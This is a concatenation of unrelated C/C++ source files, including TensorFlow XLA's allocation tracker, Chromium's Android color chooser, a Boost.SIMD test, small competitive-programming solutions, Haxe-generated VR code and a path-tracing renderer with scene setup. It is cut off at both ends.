param ); templ.TripleWithRelation( ScType::NodeVarClass >> "_component_class", ScType::EdgeDCommonVar, "_component", ScType::EdgeAccessVarPosPerm, Keynodes::nrel_inclusion); templ.TripleWithRelation( "_component", ScType::EdgeDCommon, ScType::LinkVar >> "_name_component", ScType::EdgeAccessVarPosPerm, Keynodes::keynode_nrel_json_idtf); templ.Triple( ScType::NodeVarClass >> "_property", ScType::EdgeAccessVarPosPerm, param ); templ.Triple( ScType::NodeVarClass >> "_property_class", ScType::EdgeAccessVarPosPerm, "_property"); templ.TripleWithRelation( "_property", ScType::EdgeDCommonVar, ScType::LinkVar >> "_property_name", ScType::EdgeAccessVarPosPerm, Keynodes::keynode_nrel_json_idtf); templ.TripleWithRelation( "_property_class", ScType::EdgeDCommonVar, ScType::LinkVar >> "_property_class_name", ScType::EdgeAccessVarPosPerm, Keynodes::keynode_nrel_json_idtf); ScTemplateParams templateParams; ScTemplateGenResult templateGenResult; ScTemplateSearchResult searchResult; ms_context->HelperSearchTemplate(templ, searchResult); String stringJson = getJson(searchResult, param, get_context); ScAddr answer; answer = ms_context->CreateNode(ScType::LinkConst); ms_context->SetLinkContent(answer, ScStreamMakeRead(stringJson)); return answer; }; 10-100 /* Copyright 2017 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ #include "tensorflow/compiler/xla/service/allocation_tracker.h" #include #include "tensorflow/compiler/xla/map_util.h" #include "tensorflow/compiler/xla/ptr_util.h" #include "tensorflow/compiler/xla/service/device_memory_allocator.h" #include "tensorflow/compiler/xla/service/transfer_manager.h" #include "tensorflow/compiler/xla/shape_util.h" #include "tensorflow/compiler/xla/status_macros.h" #include "tensorflow/compiler/xla/types.h" #include "tensorflow/compiler/xla/util.h" #include "tensorflow/core/lib/strings/strcat.h" #include "tensorflow/core/platform/logging.h" namespace xla { StatusOr AllocationTracker::Register( std::unique_ptr shaped_buffer, const string& tag) { tensorflow::mutex_lock lock(mutex_); VLOG(2) << "Register"; return RegisterInternal(std::move(shaped_buffer), tag); } StatusOr AllocationTracker::RegisterInternal( std::unique_ptr shaped_buffer, const string& tag) { VLOG(2) << "RegisterInternal(" << "tag: \"" << tag << "\" " << "shaped_buffer: " << *shaped_buffer; if (shaped_buffer->platform() != backend_->platform()) { return InvalidArgument( "AllocationTracker for platform %s cannot register buffer from " "platform %s", backend_->platform()->Name().c_str(), shaped_buffer->platform()->Name().c_str()); } int64 handle = next_handle_++; std::vector shape_indices; ShapeUtil::ForEachSubshape(shaped_buffer->on_device_shape(), [this, &shape_indices](const Shape& /*subshape*/, const ShapeIndex& index) { shape_indices.push_back(index); }); for (const ShapeIndex& index : shape_indices) { AddAllocationOrIncrementRefCount(shaped_buffer->buffer(index), shaped_buffer->device_ordinal()); } GlobalDataHandle result; result.set_handle(handle); handle_to_shaped_buffer_[handle] = std::move(shaped_buffer); VLOG(2) << "handle: " << handle; return result; } tensorflow::Status AllocationTracker::Unregister(const GlobalDataHandle& data) { tensorflow::mutex_lock lock(mutex_); VLOG(2) << "Unregister(" << "handle: " << data.handle() << ")"; TF_ASSIGN_OR_RETURN(ShapedBuffer * shaped_buffer, ResolveInternal(data)); std::vector shape_indices; ShapeUtil::ForEachSubshape(shaped_buffer->on_device_shape(), [this, &shape_indices](const Shape& /*subshape*/, const ShapeIndex& index) { shape_indices.push_back(index); }); for (const ShapeIndex& index : shape_indices) { TF_RETURN_IF_ERROR(DecrementRefCount(shaped_buffer->buffer(index), shaped_buffer->device_ordinal())); } // Keep a nullptr as a tombstone for unregistered handles. This enables better // error messages. That is, "handle has been deallocated" versus "handle does // not exist". handle_to_shaped_buffer_.at(data.handle()).reset(); return tensorflow::Status::OK(); } StatusOr> AllocationTracker::DeconstructTuple( const GlobalDataHandle& data) { tensorflow::mutex_lock lock(mutex_); TF_ASSIGN_OR_RETURN(ShapedBuffer * shaped_buffer, ResolveInternal(data)); if (!ShapeUtil::IsTuple(shaped_buffer->on_host_shape())) { return InvalidArgument("global data handle %lld is not a tuple", data.handle()); } // If the on-host representation is a tuple, then the on-device one should be // as well. TF_RET_CHECK(ShapeUtil::IsTuple(shaped_buffer->on_device_shape())); if (ShapeUtil::IsNestedTuple(shaped_buffer->on_device_shape())) { return Unimplemented("deconstructing nested tuples not yet supported"); } std::vector element_handles; for (int i = 0; i < ShapeUtil::TupleElementCount(shaped_buffer->on_device_shape()); ++i) { auto element_buffer = MakeUnique( ShapeUtil::GetTupleElementShape(shaped_buffer->on_host_shape(), i), ShapeUtil::GetTupleElementShape(shaped_buffer->on_device_shape(), i), shaped_buffer->platform(), shaped_buffer->device_ordinal()); element_buffer->set_buffer(shaped_buffer->buffer(/*index=*/{i}), /*index=*/{}); TF_ASSIGN_OR_RETURN( GlobalDataHandle element_handle, RegisterInternal(std::move(element_buffer), "deconstructed tuple")); element_handles.push_back(element_handle); } return std::move(element_handles); } StatusOr AllocationTracker::Resolve( const GlobalDataHandle& data) { tensorflow::mutex_lock lock(mutex_); return AllocationTracker::ResolveInternal(data); } StatusOr AllocationTracker::ResolveInternal( const GlobalDataHandle& data) { VLOG(2) << "resolve:" << data.handle(); auto it = handle_to_shaped_buffer_.find(data.handle()); if (it == handle_to_shaped_buffer_.end()) { return NotFound("no allocation record for global data handle: %lld", data.handle()); } ShapedBuffer* shaped_buffer = it->second.get(); if (shaped_buffer == nullptr) { return InvalidArgument("global data handle %lld was previously deallocated", data.handle()); } return shaped_buffer; } void AllocationTracker::AddAllocationOrIncrementRefCount( perftools::gputools::DeviceMemoryBase device_memory, int device_ordinal) { AllocationMap& allocation_map = opaque_to_allocation_map_[device_ordinal]; auto it = allocation_map.find(device_memory.opaque()); if (it == allocation_map.end()) { allocation_map[device_memory.opaque()] = {device_memory, device_ordinal, /*ref_count=*/1}; } else { it->second.ref_count++; } } Status AllocationTracker::DecrementRefCount( perftools::gputools::DeviceMemoryBase device_memory, int device_ordinal) { AllocationMap& allocation_map = opaque_to_allocation_map_[device_ordinal]; auto it = allocation_map.find(device_memory.opaque()); TF_RET_CHECK(it != allocation_map.end()); Allocation& allocation = it->second; TF_RET_CHECK(allocation.ref_count >= 1); if (allocation.ref_count == 1) { TF_RETURN_IF_ERROR(backend_->memory_allocator()->Deallocate( device_ordinal, &device_memory)); allocation_map.erase(it); } else { allocation.ref_count--; } return tensorflow::Status::OK(); } } // namespace xla #include #include #include #include #include using namespace std; #define ld long double #define ll long long #define mem(Arr,x) memset(Arr,x,sizeof(Arr)) const int maxN=110; const ld eps=1e-8; const int inf=2147483647; int n,m,S; ld F[maxN][maxN],G[maxN][maxN],W[maxN],P; int main(){ scanf("%d%d",&n,&m); for (int i=1;i<=n;i++) scanf("%LF",&W[i]); scanf("%d",&S);scanf("%LF",&P); for (int i=1;i<=n;i++) for (int j=1;j<=n;j++) F[i][j]=((i==j)?(0):(-inf)); for (int i=1;i<=m;i++){ int u,v;scanf("%d%d",&u,&v); F[u][v]=W[v]*P; } for (ld p=P;p>eps;p*=p){ for (int i=1;i<=n;i++) for (int j=1;j<=n;j++) G[i][j]=-inf; for (int k=1;k<=n;k++) for (int i=1;i<=n;i++) for (int j=1;j<=n;j++) G[i][j]=max(G[i][j],F[i][k]+F[k][j]*p); for (int i=1;i<=n;i++) for (int j=1;j<=n;j++) F[i][j]=max(F[i][j],G[i][j]); } ld Ans=0; for (int i=1;i<=n;i++) Ans=max(Ans,F[S][i]); printf("%.1LF\n",Ans+W[S]);return 0; } // Generated by Haxe 4.0.5 #include #ifndef INCLUDED_kha_Canvas #include #endif #ifndef INCLUDED_kha_Image #include #endif #ifndef INCLUDED_kha_Resource #include #endif #ifndef INCLUDED_kha_math_Matrix4 #include #endif #ifndef INCLUDED_kha_vr_PoseState #include #endif #ifndef INCLUDED_kha_vr_TimeWarpImage #include #endif HX_DEFINE_STACK_FRAME(_hx_pos_685b63c66f33a56d_40_new,"kha.vr.TimeWarpImage","new",0x6279a4d0,"kha.vr.TimeWarpImage.new","kha/vr/TimeWarpImage.hx",40,0xd76b5b40) namespace kha{ namespace vr{ void TimeWarpImage_obj::__construct(){ HX_STACKFRAME(&_hx_pos_685b63c66f33a56d_40_new) } Dynamic TimeWarpImage_obj::__CreateEmpty() { return new TimeWarpImage_obj; } void *TimeWarpImage_obj::_hx_vtable = 0; Dynamic TimeWarpImage_obj::__Create(hx::DynamicArray inArgs) { hx::ObjectPtr< TimeWarpImage_obj > _hx_result = new TimeWarpImage_obj(); _hx_result->__construct(); return _hx_result; } bool TimeWarpImage_obj::_hx_isInstanceOf(int inClassId) { return inClassId==(int)0x00000001 || inClassId==(int)0x523be326; } TimeWarpImage_obj::TimeWarpImage_obj() { } void TimeWarpImage_obj::__Mark(HX_MARK_PARAMS) { HX_MARK_BEGIN_CLASS(TimeWarpImage); HX_MARK_MEMBER_NAME(Image,"Image"); HX_MARK_MEMBER_NAME(TexCoordsFromTanAngles,"TexCoordsFromTanAngles"); HX_MARK_MEMBER_NAME(Pose,"Pose"); HX_MARK_END_CLASS(); } void TimeWarpImage_obj::__Visit(HX_VISIT_PARAMS) { HX_VISIT_MEMBER_NAME(Image,"Image"); HX_VISIT_MEMBER_NAME(TexCoordsFromTanAngles,"TexCoordsFromTanAngles"); HX_VISIT_MEMBER_NAME(Pose,"Pose"); } hx::Val TimeWarpImage_obj::__Field(const ::String &inName,hx::PropertyAccess inCallProp) { switch(inName.length) { case 4: if (HX_FIELD_EQ(inName,"Pose") ) { return hx::Val( Pose ); } break; case 5: if (HX_FIELD_EQ(inName,"Image") ) { return hx::Val( Image ); } break; case 22: if (HX_FIELD_EQ(inName,"TexCoordsFromTanAngles") ) { return hx::Val( TexCoordsFromTanAngles ); } } return super::__Field(inName,inCallProp); } hx::Val TimeWarpImage_obj::__SetField(const ::String &inName,const hx::Val &inValue,hx::PropertyAccess inCallProp) { switch(inName.length) { case 4: if (HX_FIELD_EQ(inName,"Pose") ) { _hx_set_Pose(HX_CTX_GET,inValue.Cast< ::kha::vr::PoseState >()); return inValue; } break; case 5: if (HX_FIELD_EQ(inName,"Image") ) { _hx_set_Image(HX_CTX_GET,inValue.Cast< ::kha::Image >()); return inValue; } break; case 22: if (HX_FIELD_EQ(inName,"TexCoordsFromTanAngles") ) { _hx_set_TexCoordsFromTanAngles(HX_CTX_GET,inValue.Cast< ::kha::math::Matrix4 >()); return inValue; } } return super::__SetField(inName,inValue,inCallProp); } void TimeWarpImage_obj::__GetFields(Array< ::String> &outFields) { outFields->push(HX_("Image",3b,8f,96,50)); outFields->push(HX_("TexCoordsFromTanAngles",32,0b,d0,e1)); outFields->push(HX_("Pose",71,b0,35,35)); super::__GetFields(outFields); }; #ifdef HXCPP_SCRIPTABLE static hx::StorageInfo TimeWarpImage_obj_sMemberStorageInfo[] = { {hx::fsObject /* ::kha::Image */ ,(int)offsetof(TimeWarpImage_obj,Image),HX_("Image",3b,8f,96,50)}, {hx::fsObject /* ::kha::math::Matrix4 */ ,(int)offsetof(TimeWarpImage_obj,TexCoordsFromTanAngles),HX_("TexCoordsFromTanAngles",32,0b,d0,e1)}, {hx::fsObject /* ::kha::vr::PoseState */ ,(int)offsetof(TimeWarpImage_obj,Pose),HX_("Pose",71,b0,35,35)}, { hx::fsUnknown, 0, null()} }; static hx::StaticInfo *TimeWarpImage_obj_sStaticStorageInfo = 0; #endif static ::String TimeWarpImage_obj_sMemberFields[] = { HX_("Image",3b,8f,96,50), HX_("TexCoordsFromTanAngles",32,0b,d0,e1), HX_("Pose",71,b0,35,35), ::String(null()) }; hx::Class TimeWarpImage_obj::__mClass; void TimeWarpImage_obj::__register() { TimeWarpImage_obj _hx_dummy; TimeWarpImage_obj::_hx_vtable = *(void **)&_hx_dummy; hx::Static(__mClass) = new hx::Class_obj(); __mClass->mName = HX_("kha.vr.TimeWarpImage",de,3c,7b,0c); __mClass->mSuper = &super::__SGetClass(); __mClass->mConstructEmpty = &__CreateEmpty; __mClass->mConstructArgs = &__Create; __mClass->mGetStaticField = &hx::Class_obj::GetNoStaticField; __mClass->mSetStaticField = &hx::Class_obj::SetNoStaticField; __mClass->mStatics = hx::Class_obj::dupFunctions(0 /* sStaticFields */); __mClass->mMembers = hx::Class_obj::dupFunctions(TimeWarpImage_obj_sMemberFields); __mClass->mCanCast = hx::TCanCast< TimeWarpImage_obj >; #ifdef HXCPP_SCRIPTABLE __mClass->mMemberStorageInfo = TimeWarpImage_obj_sMemberStorageInfo; #endif #ifdef HXCPP_SCRIPTABLE __mClass->mStaticStorageInfo = TimeWarpImage_obj_sStaticStorageInfo; #endif hx::_hx_RegisterClass(__mClass->mName, __mClass); } } // end namespace kha } // end namespace vr test/function/scalar/swapbytes.cpp //================================================================================================== /*! Copyright 2015 NumScale SAS Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE.md or copy at http://boost.org/LICENSE_1_0.txt) */ //================================================================================================== #include #include #include #include #include #include #include #include #include #include STF_CASE_TPL (" swapbytes uit", STF_INTEGRAL_TYPES) { namespace bs = boost::simd; namespace bd = boost::dispatch; using bs::swapbytes; // return type conformity test STF_EXPR_IS( swapbytes(T()), T ); // specific values tests T a = T(0xFF); for(std::size_t i=0; i < sizeof(T) ; i++) { namespace bs = boost::simd; namespace bd = boost::dispatch; T za = bs::shift_left(a, 8*i); STF_EQUAL(swapbytes(za), T(bs::shift_left(a,(sizeof(T)-i-1)*8))); } } // end of test for unsigned_int_ karacacanil/ProjectEuler #include #include #include int asal(int long long); main() { int long long number=600851475143; int prime,sonuc; for(int c=2;c<=number;c++) { if(number%c==0) { sonuc=asal(c); if(sonuc==1) { prime=c; printf("%d\n",prime); } } } return 0; } int asal(int long long sayi) { for(int i=2;i<=sayi/2;i++) { if(sayi%i==0) return 0; } return 1; } nagineni/chromium-crosswalk1-10 // Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/web_contents_delegate_android/color_chooser_android.h" #include "content/public/browser/android/content_view_core.h" #include "content/public/browser/web_contents.h" #include "content/public/browser/web_contents_view.h" #include "jni/ColorChooserAndroid_jni.h" namespace web_contents_delegate_android { ColorChooserAndroid::ColorChooserAndroid(content::WebContents* web_contents, SkColor initial_color) : web_contents_(web_contents) { JNIEnv* env = AttachCurrentThread(); content::ContentViewCore* content_view_core = content::ContentViewCore::FromWebContents(web_contents); DCHECK(content_view_core); j_color_chooser_.Reset(Java_ColorChooserAndroid_createColorChooserAndroid( env, reinterpret_cast(this), content_view_core->GetJavaObject().obj(), initial_color)); } ColorChooserAndroid::~ColorChooserAndroid() { } void ColorChooserAndroid::End() { if (!j_color_chooser_.is_null()) { JNIEnv* env = AttachCurrentThread(); Java_ColorChooserAndroid_closeColorChooser(env, j_color_chooser_.obj()); } } void ColorChooserAndroid::SetSelectedColor(SkColor color) { // Not implemented since the color is set on the java side only, in theory // it can be set from JS which would override the user selection but // we don't support that for now. } void ColorChooserAndroid::OnColorChosen(JNIEnv* env, jobject obj, jint color) { web_contents_->DidChooseColorInColorChooser(color); web_contents_->DidEndColorChooser(); } // ---------------------------------------------------------------------------- // Native JNI methods // ---------------------------------------------------------------------------- bool RegisterColorChooserAndroid(JNIEnv* env) { return RegisterNativesImpl(env); } } // namespace web_contents_delegate_android //TODO: // add SIMD math library //fix sort in octree #include "tigr.h" #pragma comment(lib,"d3d9.lib") #include "threads_distribution.h" #include "intensity_array.h" #include "camera.h" #include "scene.h" #include "sphere.h" #include "parallelogram.h" #include "filter.h" #include "triangle_cuboid.h" #include "PlyLoader.h" #include "octree.h" #include "triangle_mesh_data.h" #include "high_precision_timer.h" #include "scene_loader.h" using namespace BasicMath; using namespace Raytr_Core; class BackgroundColor { public: virtual vec3 value(const ray& r) const = 0; }; class ConstantBackgroundColor : public BackgroundColor { public: virtual vec3 value(const ray& r) const { return vec3(0); } }; class GradientBackgroundColor : public BackgroundColor { private: BasicMath::vec3 up, down; public: GradientBackgroundColor(const BasicMath::vec3& down = vec3(1), const BasicMath::vec3& up = vec3(0.5, 0.7, 1.0)) :up(up), down(down) { } virtual vec3 value(const ray& r) const { float t = 0.5f*(r.direction.y + 1.0f); return (1.0f - t)*down + t*up; } }; struct RussianRoulette { float minP, maxP; float mulFactor; RussianRoulette() :minP(0), maxP(1), mulFactor(2) {} }; struct RenderOptions { RenderOptions() : x(0), y(0), width(100), height(100), numThreads(1), dxCoef(1), dyCoef(1), samples(1), shadowRaysCount(1), scatteredRaysPow(0), bounces(5), backgroundColor(nullptr) {} int x, y; //!< upper left corner of the rectangle int width, height; //!< size of the rectangle int numThreads; //!< number of threads to run float dxCoef, dyCoef; //!< coefficients by which to multiply the threads dsitribution rectangles int samples; //!< numbers of initial samples per pixel int shadowRaysCount; //!< number of shadow rays per iteration int scatteredRaysPow; //!< a number k describing how many rays will be generated for indirect illumination: 2^(2*k) int bounces; //!< maximum number of bounces allowe BackgroundColor* backgroundColor; //!< background color RussianRoulette rrOptions; //!< russian roulette parameters }; BasicMath::vec3 castRay(Raytr_Core::ray r, const Raytr_Core::scene& scn, const RenderOptions& options, vec3& directIllumination) { intersection_info info; scattering_info sinfo; vec3 color(0); vec3 intensity(1); vec3 Le(0), Ld(0), Lr(0); float r1, r2; ////////////////////////////////////////////////////////////////////////////////////////////////////////// //0) Does the ray hit anything? ////////////////////////////////////////////////////////////////////////////////////////////////////////// if (!scn.intersect(r, cEPSILON, cINFINITY, info)) { //the ray does not hit the scene - return the background color Le += options.backgroundColor->value(r); directIllumination += Le; return color; } //add the emitted color of the intersected material Le += info.pObject->pMaterial->emitted(r, info); ////////////////////////////////////////////////////////////////////////////////////////////////////////// //2) If the material fully absorbs the ray and does not scatter other rays - just return the emitted color ////////////////////////////////////////////////////////////////////////////////////////////////////////// if (!info.pObject->pMaterial->scatter(r, info, sinfo)) { directIllumination += Le; return color; } //for each object in the scene check whether it's an emitter int shadowRaysCount1 = 0; for (object* iter : scn.objects) { //if the object emits - sample it if (iter->pMaterial->emits) { //cast n shadow rays for (int j = 0; j < options.shadowRaysCount; ++j) { //generate a direction in the cosine lobe subtended by the sphere vec3 shadowRayDir1 = iter->random(info.position); //calulcate the pdf float shadowRayPdf1 = iter->pdf_value(info.position, shadowRayDir1); //transform the shadowray's direction to the coordinates we need shadowRayDir1 = createCoordinateSystem(normalize(iter->center - info.position))*shadowRayDir1; //the ray ray lightSampleRay1(info.position + info.normal*cEPSILON, shadowRayDir1); //find out the cos between this ray and the normal at the intersection point float cosLDN1 = dotProduct(info.normal, lightSampleRay1.direction); //if cos is 0 or negative continue to the next shadow ray if (cosLDN1 <= 0) continue; //if not, check whether it intersects anything before the light intersection_info tempInfo1; scn.intersect(lightSampleRay1, cEPSILON, cINFINITY, tempInfo1); //increment the counter for the shadow rays ++shadowRaysCount1; //if it does intersect an object that's not the emitter before reaching it, continue on to the next shadow ray if (tempInfo1.pObject != iter) { continue; } else //if it does not - calculate the direct illumination { Ld += cosLDN1*tempInfo1.pObject->pMaterial->emitted(lightSampleRay1, tempInfo1)*info.pObject->pMaterial->brdf(r.direction, lightSampleRay1.direction, info) / shadowRayPdf1; } } } } if (shadowRaysCount1>0) Ld /= float(shadowRaysCount1); Le += Ld; directIllumination += Le; for (int bounce = 0; bounce < options.bounces; ++bounce) { ////////////////////////////////////////////////////////////////////////////////////////////////////////// //1) The ray intersects an object: ////////////////////////////////////////////////////////////////////////////////////////////////////////// //add the emitted color if we're not sampling it as a light source: ////////////////////////////////////////////////////////////////////////////////////////////////////////// //2) If the material fully absorbs the ray and does not scatter other rays - just return the emitted color ////////////////////////////////////////////////////////////////////////////////////////////////////////// if (!info.pObject->pMaterial->scatter(r, info, sinfo)) { return color; } ////////////////////////////////////////////////////////////////////////////////////////////////////////// //2.5) Direct illumination ////////////////////////////////////////////////////////////////////////////////////////////////////////// //for each object in the scene check whether it's an emitter vec3 directIlluminationColor(0); int shadowRaysCount = 0; for (object* iter : scn.objects) { //if the object emits - sample it if (iter->pMaterial->emits) { //cast n shadow rays for (int j = 0; j < options.shadowRaysCount; ++j) { //generate a direction in the cosine lobe subtended by the sphere vec3 shadowRayDir = iter->random(info.position); //calulcate the pdf float shadowRayPdf = iter->pdf_value(info.position, shadowRayDir); //transform the shadowray's direction to the coordinates we need shadowRayDir = createCoordinateSystem(normalize(iter->center - info.position))*shadowRayDir; //the ray ray lightSampleRay(info.position + info.normal*cEPSILON, shadowRayDir); //find out the cos between this ray and the normal at the intersection point float cosLDN = dotProduct(info.normal, lightSampleRay.direction); //if cos is 0 or negative continue to the next shadow ray if (cosLDN <= 0) continue; //if not, check whether it intersects anything before the light intersection_info tempInfo; scn.intersect(lightSampleRay, cEPSILON, cINFINITY, tempInfo); //increment the counter for the shadow rays ++shadowRaysCount; //if it does intersect an object that's not the emitter before reaching it, continue on to the next shadow ray if (tempInfo.pObject != iter) { continue; } else //if it does not - calculate the direct illumination { directIlluminationColor += tempInfo.pObject->pMaterial->emitted(lightSampleRay, tempInfo)*info.pObject->pMaterial->brdf(r.direction, lightSampleRay.direction, info)*cosLDN / shadowRayPdf; } } } } if (shadowRaysCount>0) color += (directIlluminationColor*intensity / float(shadowRaysCount)); //Russian roulette - randomly terminate a path with a probability inversely proportional to the intensity float p = max(intensity); p = std::max(options.rrOptions.minP, std::min(options.rrOptions.maxP, options.rrOptions.mulFactor*p)); if (p < uniform_distribution(generator)) { return color; } //keep the estimator unbiased - scale the intensity intensity *= 1 / p; ////////////////////////////////////////////////////////////////////////////////////////////////////////// //3) The ray is scattered ////////////////////////////////////////////////////////////////////////////////////////////////////////// //generate uniformly distributed random numbers in [0,1] r1 = uniform_distribution(generator); r2 = uniform_distribution(generator); //generate a direction with a cosine weighted distribution: BasicMath::vec3 direction = cosineWeightedHemisphereSample(r1, r2); //calculate the pdf_value of this direction float pdf_value = BasicMath::cosineWeightedHemispherePdf(direction); //transorm the direction to the coordinate system of the intersection point direction = createCoordinateSystem(info.normal)*direction; //if the transformed direction's not in the upper hemisphere around the normal of the intersection point - has 0 contribution //no use continuing since intensity=0 float cosDN = dotProduct(info.normal, direction); if (cosDN <= 0) return color; //scattered ray r = ray(info.position + info.normal*cEPSILON, direction); //accumulate the intensity intensity *= info.pObject->pMaterial->brdf(r.direction, direction, info)*cosDN / pdf_value; if (!scn.intersect(r, cEPSILON, cINFINITY, info)) //the ray does not hit the scene { color += options.backgroundColor->value(r)*intensity; return color; } } //ran out of bounces - return the last color return color; } void copyArrayToBmp(const intensity_array& src, Tigr* dst, const ThreadsDistribution::rectangle& rect, int numSamples) { int i; vec3 col; for (int y = rect.pos.y; yw + x; //divide by the number of samples, gamma correct and clamp values in the 0-1 range col = BasicMath::clamp(pow(src(x, y) / numSamples, float(0.4545)), BasicMath::vec3::zero, BasicMath::vec3::one); dst->pix[i].r = 255 * col.x; dst->pix[i].g = 255 * col.y; dst->pix[i].b = 255 * col.z; } } } void render_thread(intensity_array& directIllumination, intensity_array& indirectIllumiantion, intensity_array& accumulatedIntensity, const Raytr_Core::camera& cam, const Raytr_Core::scene& scn, const ThreadsDistribution::rectangle& rect, const RenderOptions& options) { ThreadsDistribution::point pos; float ndcX, ndcY; for (int y = rect.pos.y; y rects = ThreadsDistribution::populateWithRectangles( ThreadsDistribution::rectangle(ThreadsDistribution::point(options.x, options.y), ThreadsDistribution::point(options.width, options.height)), ThreadsDistribution::point(dx, dy), options.numThreads); //find the biggest number of rectangles between the rectangle sets per thread int maxR = 0; for (int i = 0; i < options.numThreads; ++i) { if (maxR < rects[i].rects.size()) maxR = rects[i].rects.size(); } //dispatch a thread for each rectangle of its set //update after the threads finish their rectangles std::vector threads; for (int s = 1; s <= options.samples; ++s) { //keep track of how much time each frame takes HighPrecisionTimer sampleTime; sampleTime.StartCounter(); for (int k = 0; k < maxR; ++k) { //do raytracing work for (int i = 0; i < options.numThreads; ++i) { if (rects[i].rects.size() > k) { threads.push_back(std::thread(render_thread, std::ref(directIllumination), std::ref(indirectIllumination), std::ref(accumulatedIntensity), std::ref(cam), std::ref(scn), rects[i].rects[k], options)); } } for (int i = 0; i < options.numThreads; ++i) { if (rects[i].rects.size() > k) { threads[i].join(); } } threads.clear(); //copy buffer to screen for (int i = 0; i < options.numThreads; ++i) { if (rects[i].rects.size() > k) { threads.push_back(std::thread(copyArrayToBmp, std::ref(accumulatedIntensity), bmp, rects[i].rects[k], s)); } } for (int i = 0; i < options.numThreads; ++i) { if (rects[i].rects.size() > k) { threads[i].join(); } } threads.clear(); //check for escape->terminate early if (tigrKeyHeld(bmp, TK_ESCAPE)) { return; } tigrUpdate(bmp); } std::cout << "Sample " << s << " time: " << sampleTime.GetCounter() << "\n"; } //noise filter addition intensity_array filteredIntensity(options.width, options.height); median_filter filter; filter.filter_image(indirectIllumination, filteredIntensity); filteredIntensity += directIllumination; copyArrayToBmp(accumulatedIntensity, bmp, ThreadsDistribution::rectangle(0, 0, options.width, options.height), options.samples); tigrUpdate(bmp); } void cornell_box_scene(scene** scn, camera** cam, float aspect) { pdf* u_pdf = new cosine_weighted_hemisphere_pdf(); texture* red = new constant_texture(vec4(0.65, 0.05, 0.05, 1)); float s = 2; texture* diffuse_light = new constant_texture(vec4(s,s,s,1)); texture* green = new constant_texture(vec4(0.12, 0.45, 0.15, 1)); texture* white = new constant_texture(vec4(0.73, 0.73, 0.73, 1)); texture* tex0 = new image_texture(tigrLoadImage("tex0.png")); texture* tex2 = new image_texture(tigrLoadImage("tex2.png")); texture* tex3 = new image_texture(tigrLoadImage("tex3.png")); texture* tex4 = new image_texture(tigrLoadImage("tex6.png"), vec4(3)); texture* mytex = new image_texture(tigrLoadImage("mytex.png"), vec4(3)); material* mred = new lambertian_material(red, u_pdf); material* mwhite = new lambertian_material(white, u_pdf); material* mgreen = new lambertian_material(green, u_pdf); material* mlight = new emitter_material(diffuse_light, u_pdf); material* msphere = new lambertian_material(tex0, u_pdf); material* mwall = new lambertian_material(tex2, u_pdf); material* mwall2 = new lambertian_material(tex3, u_pdf); material* mlight2 = new emitter_material(tex4, u_pdf); material* mmytex = new lambertian_material(mytex, u_pdf); int i = 0; if (!PlyLoader::loadPlyMesh("bun_zipper_res.ply", vec3(350, -80, 190), vec3(0,-M_PI*0.75,0), vec3(2000, 2000, 2000))) { std::cout << "Failed at mesh loading - will exit.\n"; return; } triangle_mesh* meshPly = new triangle_mesh(meshDataVector.back(), mred); size_t maxElements = 40; int depth = meshDataVector.back().triangleCount() / (maxElements*log(8)); std::cout << depth << "\n"; triangle_octree_mesh* octreeMesh = new triangle_octree_mesh(meshDataVector.back(), mwhite,depth,maxElements); TrianglePrimitivesFactory& factory = TrianglePrimitivesFactory::init(); factory.createTriangleMeshCuboid(vec3(378, 150, 190), vec3(M_PI/4, M_PI/4, 0), vec3(50, 150, 50)); triangle_mesh* meshCuboid = new triangle_mesh(meshDataVector.back(), mwall); factory.createTriangleMeshSphericalCube(60, vec3(378, 150, 190),vec3(0,M_PI/4,0), vec3(1), 4,4); /*size_t maxElements = 40; int depth = meshDataVector.back().triangleCount() / (maxElements*log(8)); std::cout << depth << "\n"; triangle_mesh* meshSphericalCube = new triangle_octree_mesh(meshDataVector.back(), mwhite, depth, maxElements);*/ *scn = new scene; (**scn) .addObject(new parallelogram(vec3(0, 0, 555), vec3(0, 0, -555), vec3(0, 555, 0), mgreen)) //left .addObject(new parallelogram(vec3(555, 0, 0), vec3(0, 0, 555), vec3(0, 555, 0), mred)) //right .addObject(new parallelogram(vec3(555, 0, 555), vec3(-555, 0, 0), vec3(0, 555, 0), mmytex)) //back .addObject(new parallelogram(vec3(0, 555, 0), vec3(555, 0, 0), vec3(0, 0, 555), mwhite)) //top .addObject(new parallelogram(vec3(555, 0, 0), vec3(-555, 0, 0), vec3(0, 0, 555), mwhite)) //bottom //.addObject(meshPly) .addObject(octreeMesh) .addObject(new sphere(vec3(90, 290, 190), 90, mlight)); //light sphere //.addObject(new sphere(vec3(490, 490, 190), 90, mlight)) //light sphere //.addObject(new sphere(vec3(278, 278, 190), 90, mlight)); //light sphere //.addObject(new sphere(vec3(278, 278, 190), 90, mwhite)) //.addObject(meshSphericalCube); //.addObject(new triangle_spherical_cube(vec3(300, 150, 190), 60, 5, 5, mred)) //list[i++] = new translate( new rotate_y(new box(vec3(0,0,0), vec3(165,165,165), white), -18), vec3(130,0,65)); //material* aluminium = new metal(vec3(0.8, 0.85, 0.88), 0.0); //list[i++] = new translate(new rotate_y(new box(vec3(0, 0, 0), vec3(165, 330, 165), white), 15), vec3(265, 0, 295)); vec3 lookfrom(278, 278, -800); vec3 lookat(278, 278, 0); float vfov = 40.0; *cam = new camera(lookfrom, lookat, vec3(0, 1, 0), aspect, vfov); } void bunny_scene(scene** scn, camera** cam, float aspect) { pdf* u_pdf = new cosine_weighted_hemisphere_pdf(); texture* red = new constant_texture(vec4(0.65, 0.05, 0.05, 1)); float s = 10; texture* diffuse_light = new constant_texture(vec4(s, s, s, 1)); texture* green = new constant_texture(vec4(0.12, 0.45, 0.15, 1)); texture* white = new constant_texture(vec4(0.73, 0.73, 0.73, 1)); texture* tex0 = new image_texture(tigrLoadImage("tex0.png")); texture* tex2 = new image_texture(tigrLoadImage("tex2.png")); texture* tex3 = new image_texture(tigrLoadImage("tex3.png")); texture* tex4 = new image_texture(tigrLoadImage("tex6.png"), vec4(3)); material* mred = new lambertian_material(red, u_pdf); material* mwhite = new lambertian_material(white, u_pdf); material* mgreen = new 